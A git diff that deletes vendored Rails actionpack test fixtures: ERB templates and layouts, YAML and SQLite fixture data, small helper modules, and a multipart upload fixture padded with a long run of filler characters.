diff --git a/vendor/rails/actionpack/test/fixtures/customers/_customer.html.erb b/vendor/rails/actionpack/test/fixtures/customers/_customer.html.erb
deleted file mode 100644
index 483571e2..00000000
--- a/vendor/rails/actionpack/test/fixtures/customers/_customer.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= greeting %>: <%= customer.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/db_definitions/sqlite.sql b/vendor/rails/actionpack/test/fixtures/db_definitions/sqlite.sql
deleted file mode 100644
index 8e1947d1..00000000
--- a/vendor/rails/actionpack/test/fixtures/db_definitions/sqlite.sql
+++ /dev/null
@@ -1,49 +0,0 @@
-CREATE TABLE 'companies' (
-  'id' INTEGER PRIMARY KEY NOT NULL,
-  'name' TEXT DEFAULT NULL,
-  'rating' INTEGER DEFAULT 1
-);
-
-CREATE TABLE 'replies' (
-  'id' INTEGER PRIMARY KEY NOT NULL, 
-  'content' text, 
-  'created_at' datetime, 
-  'updated_at' datetime, 
-  'topic_id' integer,
-  'developer_id' integer
-);
-
-CREATE TABLE 'topics' (
-  'id' INTEGER PRIMARY KEY NOT NULL, 
-  'title' varchar(255), 
-  'subtitle' varchar(255), 
-  'content' text, 
-  'created_at' datetime, 
-  'updated_at' datetime
-);
-
-CREATE TABLE 'developers' (
-  'id' INTEGER PRIMARY KEY NOT NULL,
-  'name' TEXT DEFAULT NULL,
-  'salary' INTEGER DEFAULT 70000,
-  'created_at' DATETIME DEFAULT NULL,
-  'updated_at' DATETIME DEFAULT NULL
-);
-
-CREATE TABLE 'projects' (
-  'id' INTEGER PRIMARY KEY NOT NULL,
-  'name' TEXT DEFAULT NULL
-);
-
-CREATE TABLE 'developers_projects' (
-  'developer_id' INTEGER NOT NULL,
-  'project_id' INTEGER NOT NULL,
-  'joined_on' DATE DEFAULT NULL,
-  'access_level' INTEGER DEFAULT 1
-);
-
-CREATE TABLE 'mascots' (
-  'id' INTEGER PRIMARY KEY NOT NULL, 
-  'company_id' INTEGER NOT NULL,
-  'name' TEXT DEFAULT NULL
-);
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/developer.rb b/vendor/rails/actionpack/test/fixtures/developer.rb
deleted file mode 100644
index c70eda34..00000000
--- a/vendor/rails/actionpack/test/fixtures/developer.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class Developer < ActiveRecord::Base
-  has_and_belongs_to_many :projects
-  has_many :replies
-  has_many :topics, :through => :replies
-end
-
-class DeVeLoPeR < ActiveRecord::Base
-  set_table_name "developers"
-end
diff --git a/vendor/rails/actionpack/test/fixtures/developers.yml b/vendor/rails/actionpack/test/fixtures/developers.yml
deleted file mode 100644
index 308bf75d..00000000
--- a/vendor/rails/actionpack/test/fixtures/developers.yml
+++ /dev/null
@@ -1,21 +0,0 @@
-david:
-  id: 1
-  name: David
-  salary: 80000
-
-jamis:
-  id: 2
-  name: Jamis
-  salary: 150000
-
-<% for digit in 3..10 %>
-dev_<%= digit %>:
-  id: <%= digit %>
-  name: fixture_<%= digit %>
-  salary: 100000
-<% end %>
-
-poor_jamis:
-  id: 11
-  name: Jamis
-  salary: 9000
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/developers/_developer.erb b/vendor/rails/actionpack/test/fixtures/developers/_developer.erb
deleted file mode 100644
index 904a3137..00000000
--- a/vendor/rails/actionpack/test/fixtures/developers/_developer.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= developer.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/developers_projects.yml b/vendor/rails/actionpack/test/fixtures/developers_projects.yml
deleted file mode 100644
index cee359c7..00000000
--- a/vendor/rails/actionpack/test/fixtures/developers_projects.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-david_action_controller:
-  developer_id: 1
-  project_id: 2
-  joined_on: 2004-10-10
-
-david_active_record:
-  developer_id: 1
-  project_id: 1
-  joined_on: 2004-10-10
-
-jamis_active_record:
-  developer_id: 2
-  project_id: 1
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/failsafe/500.html b/vendor/rails/actionpack/test/fixtures/failsafe/500.html
deleted file mode 100644
index f3af84d6..00000000
--- a/vendor/rails/actionpack/test/fixtures/failsafe/500.html
+++ /dev/null
@@ -1 +0,0 @@
-hello <%= "my" %> world
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/fun/games/_game.erb b/vendor/rails/actionpack/test/fixtures/fun/games/_game.erb
deleted file mode 100644
index d51b7b3e..00000000
--- a/vendor/rails/actionpack/test/fixtures/fun/games/_game.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= game.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/fun/games/hello_world.erb b/vendor/rails/actionpack/test/fixtures/fun/games/hello_world.erb
deleted file mode 100644
index 1ebfbe25..00000000
--- a/vendor/rails/actionpack/test/fixtures/fun/games/hello_world.erb
+++ /dev/null
@@ -1 +0,0 @@
-Living in a nested world
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/fun/serious/games/_game.erb b/vendor/rails/actionpack/test/fixtures/fun/serious/games/_game.erb
deleted file mode 100644
index d51b7b3e..00000000
--- a/vendor/rails/actionpack/test/fixtures/fun/serious/games/_game.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= game.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/_partial.erb b/vendor/rails/actionpack/test/fixtures/functional_caching/_partial.erb
deleted file mode 100644
index d0e4f72b..00000000
--- a/vendor/rails/actionpack/test/fixtures/functional_caching/_partial.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<% cache do %>
-Fragment caching in a partial
-<% end %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb b/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
deleted file mode 100644
index d7f43ad9..00000000
--- a/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<body>
-<% cache do %><p>ERB</p><% end %>
-</body>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.js.rjs b/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.js.rjs
deleted file mode 100644
index 057f15e6..00000000
--- a/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.js.rjs
+++ /dev/null
@@ -1,6 +0,0 @@
-page.assign 'title', 'Hey'
-cache do
-  page['element_1'].visual_effect :highlight
-  page['element_2'].visual_effect :highlight
-end
-page.assign 'footer', 'Bye'
diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder b/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
deleted file mode 100644
index efdcc28e..00000000
--- a/vendor/rails/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
+++ /dev/null
@@ -1,5 +0,0 @@
-xml.body do
-  cache do
-    xml.p "Builder"
-  end
-end
diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb b/vendor/rails/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
deleted file mode 100644
index 268a298a..00000000
--- a/vendor/rails/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-Hello
-<% cache do %>This bit's fragment cached<% end %>
diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb b/vendor/rails/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
deleted file mode 100644
index a9462d34..00000000
--- a/vendor/rails/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render :partial => 'partial' %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb b/vendor/rails/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb
deleted file mode 100644
index 87309b8c..00000000
--- a/vendor/rails/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<%= render :inline => 'Some inline content' %>
-<% cache do %>Some cached content<% end %>
diff --git a/vendor/rails/actionpack/test/fixtures/functional_caching/js_fragment_cached_with_partial.js.rjs b/vendor/rails/actionpack/test/fixtures/functional_caching/js_fragment_cached_with_partial.js.rjs
deleted file mode 100644
index 248842c9..00000000
--- a/vendor/rails/actionpack/test/fixtures/functional_caching/js_fragment_cached_with_partial.js.rjs
+++ /dev/null
@@ -1 +0,0 @@
-page.replace_html 'notices', :partial => 'partial'
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/good_customers/_good_customer.html.erb b/vendor/rails/actionpack/test/fixtures/good_customers/_good_customer.html.erb
deleted file mode 100644
index a2d97ebc..00000000
--- a/vendor/rails/actionpack/test/fixtures/good_customers/_good_customer.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= greeting %> good customer: <%= good_customer.name %><%= good_customer_counter %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/helpers/abc_helper.rb b/vendor/rails/actionpack/test/fixtures/helpers/abc_helper.rb
deleted file mode 100644
index 7104ff37..00000000
--- a/vendor/rails/actionpack/test/fixtures/helpers/abc_helper.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-module AbcHelper
-  def bare_a() end
-  def bare_b() end
-  def bare_c() end
-end
diff --git a/vendor/rails/actionpack/test/fixtures/helpers/fun/games_helper.rb b/vendor/rails/actionpack/test/fixtures/helpers/fun/games_helper.rb
deleted file mode 100644
index bf60d9db..00000000
--- a/vendor/rails/actionpack/test/fixtures/helpers/fun/games_helper.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module Fun::GamesHelper
-  def stratego() "Iz guuut!" end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/helpers/fun/pdf_helper.rb b/vendor/rails/actionpack/test/fixtures/helpers/fun/pdf_helper.rb
deleted file mode 100644
index c4aea5a3..00000000
--- a/vendor/rails/actionpack/test/fixtures/helpers/fun/pdf_helper.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module Fun::PdfHelper
-  def foobar() 'baz' end
-end
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/abs_path_layout.rhtml b/vendor/rails/actionpack/test/fixtures/layout_tests/abs_path_layout.rhtml
deleted file mode 100644
index 8ba6e704..00000000
--- a/vendor/rails/actionpack/test/fixtures/layout_tests/abs_path_layout.rhtml
+++ /dev/null
@@ -1 +0,0 @@
-abs_path_layout.rhtml <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/alt/hello.rhtml b/vendor/rails/actionpack/test/fixtures/layout_tests/alt/hello.rhtml
deleted file mode 100644
index fcda6cf9..00000000
--- a/vendor/rails/actionpack/test/fixtures/layout_tests/alt/hello.rhtml
+++ /dev/null
@@ -1 +0,0 @@
-alt/hello.rhtml
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/alt/layouts/alt.rhtml b/vendor/rails/actionpack/test/fixtures/layout_tests/alt/layouts/alt.rhtml
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.rhtml b/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.rhtml
deleted file mode 100644
index 5f86a7de..00000000
--- a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.rhtml
+++ /dev/null
@@ -1 +0,0 @@
-controller_name_space/nested.rhtml <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/item.rhtml b/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/item.rhtml
deleted file mode 100644
index 1bc7cbda..00000000
--- a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/item.rhtml
+++ /dev/null
@@ -1 +0,0 @@
-item.rhtml <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/layout_test.rhtml b/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/layout_test.rhtml
deleted file mode 100644
index c0f2642b..00000000
--- a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/layout_test.rhtml
+++ /dev/null
@@ -1 +0,0 @@
-layout_test.rhtml <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb b/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb
deleted file mode 100644
index 3b65e54f..00000000
--- a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-multiple_extensions.html.erb <%= yield %>
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/symlinked b/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/symlinked
deleted file mode 120000
index 0ddc1154..00000000
--- a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/symlinked
+++ /dev/null
@@ -1 +0,0 @@
-../../symlink_parent
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab b/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab
deleted file mode 100644
index 018abfb0..00000000
--- a/vendor/rails/actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab
+++ /dev/null
@@ -1 +0,0 @@
-Mab
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/views/hello.rhtml b/vendor/rails/actionpack/test/fixtures/layout_tests/views/hello.rhtml
deleted file mode 100644
index bbccf091..00000000
--- a/vendor/rails/actionpack/test/fixtures/layout_tests/views/hello.rhtml
+++ /dev/null
@@ -1 +0,0 @@
-hello.rhtml
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/_column.html.erb b/vendor/rails/actionpack/test/fixtures/layouts/_column.html.erb
deleted file mode 100644
index 96db002b..00000000
--- a/vendor/rails/actionpack/test/fixtures/layouts/_column.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<div id="column"><%= yield :column %></div>
-<div id="content"><%= yield %></div>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/block_with_layout.erb b/vendor/rails/actionpack/test/fixtures/layouts/block_with_layout.erb
deleted file mode 100644
index 6a8b4191..00000000
--- a/vendor/rails/actionpack/test/fixtures/layouts/block_with_layout.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<% render(:layout => "layout_for_partial", :locals => { :name => "Anthony" }) do %>Inside from first block in layout<% end %>
-<%= yield %>
-<% render(:layout => "layout_for_partial", :locals => { :name => "Ramm" }) do %>Inside from second block in layout<% end %>
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/builder.builder b/vendor/rails/actionpack/test/fixtures/layouts/builder.builder
deleted file mode 100644
index 729af4b8..00000000
--- a/vendor/rails/actionpack/test/fixtures/layouts/builder.builder
+++ /dev/null
@@ -1,3 +0,0 @@
-xml.wrapper do
-  xml << @content_for_layout
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/default_html.html.erb b/vendor/rails/actionpack/test/fixtures/layouts/default_html.html.erb
deleted file mode 100644
index edd71911..00000000
--- a/vendor/rails/actionpack/test/fixtures/layouts/default_html.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<html><%= @content_for_layout %></html>
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/partial_with_layout.erb b/vendor/rails/actionpack/test/fixtures/layouts/partial_with_layout.erb
deleted file mode 100644
index a0349d73..00000000
--- a/vendor/rails/actionpack/test/fixtures/layouts/partial_with_layout.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Anthony' } ) %>
-<%= yield %>
-<%= render( :layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => {:name => 'Ramm' } ) %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/standard.erb b/vendor/rails/actionpack/test/fixtures/layouts/standard.erb
deleted file mode 100644
index 368764e6..00000000
--- a/vendor/rails/actionpack/test/fixtures/layouts/standard.erb
+++ /dev/null
@@ -1 +0,0 @@
-<html><%= @content_for_layout %><%= @variable_for_layout %></html>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/talk_from_action.erb b/vendor/rails/actionpack/test/fixtures/layouts/talk_from_action.erb
deleted file mode 100644
index 187aab07..00000000
--- a/vendor/rails/actionpack/test/fixtures/layouts/talk_from_action.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<title><%= @title || @content_for_title %></title>
-<%= @content_for_layout -%>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/xhr.html.erb b/vendor/rails/actionpack/test/fixtures/layouts/xhr.html.erb
deleted file mode 100644
index 85285324..00000000
--- a/vendor/rails/actionpack/test/fixtures/layouts/xhr.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-XHR!
-<%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/yield.erb b/vendor/rails/actionpack/test/fixtures/layouts/yield.erb
deleted file mode 100644
index 482dc902..00000000
--- a/vendor/rails/actionpack/test/fixtures/layouts/yield.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<title><%= yield :title %></title>
-<%= yield %>
diff --git a/vendor/rails/actionpack/test/fixtures/localized/hello_world.de.html b/vendor/rails/actionpack/test/fixtures/localized/hello_world.de.html
deleted file mode 100644
index 4727d7a7..00000000
--- a/vendor/rails/actionpack/test/fixtures/localized/hello_world.de.html
+++ /dev/null
@@ -1 +0,0 @@
-Gutten Tag
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/localized/hello_world.en.html b/vendor/rails/actionpack/test/fixtures/localized/hello_world.en.html
deleted file mode 100644
index 5e1c309d..00000000
--- a/vendor/rails/actionpack/test/fixtures/localized/hello_world.en.html
+++ /dev/null
@@ -1 +0,0 @@
-Hello World
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/mascot.rb b/vendor/rails/actionpack/test/fixtures/mascot.rb
deleted file mode 100644
index f9f1448b..00000000
--- a/vendor/rails/actionpack/test/fixtures/mascot.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Mascot < ActiveRecord::Base
-  belongs_to :company
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/mascots.yml b/vendor/rails/actionpack/test/fixtures/mascots.yml
deleted file mode 100644
index 17b7dff4..00000000
--- a/vendor/rails/actionpack/test/fixtures/mascots.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-upload_bird:
-  id: 1
-  company_id: 1
-  name: The Upload Bird
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/mascots/_mascot.html.erb b/vendor/rails/actionpack/test/fixtures/mascots/_mascot.html.erb
deleted file mode 100644
index 432773a1..00000000
--- a/vendor/rails/actionpack/test/fixtures/mascots/_mascot.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= mascot.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/binary_file b/vendor/rails/actionpack/test/fixtures/multipart/binary_file
deleted file mode 100644
index 556187ac..00000000
Binary files a/vendor/rails/actionpack/test/fixtures/multipart/binary_file and /dev/null differ
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/boundary_problem_file b/vendor/rails/actionpack/test/fixtures/multipart/boundary_problem_file
deleted file mode 100644
index 889c4aab..00000000
--- a/vendor/rails/actionpack/test/fixtures/multipart/boundary_problem_file
+++ /dev/null
@@ -1,10 +0,0 @@
---AaB03x
-Content-Disposition: form-data; name="file"; filename="file.txt"
-Content-Type: text/plain
-
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aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa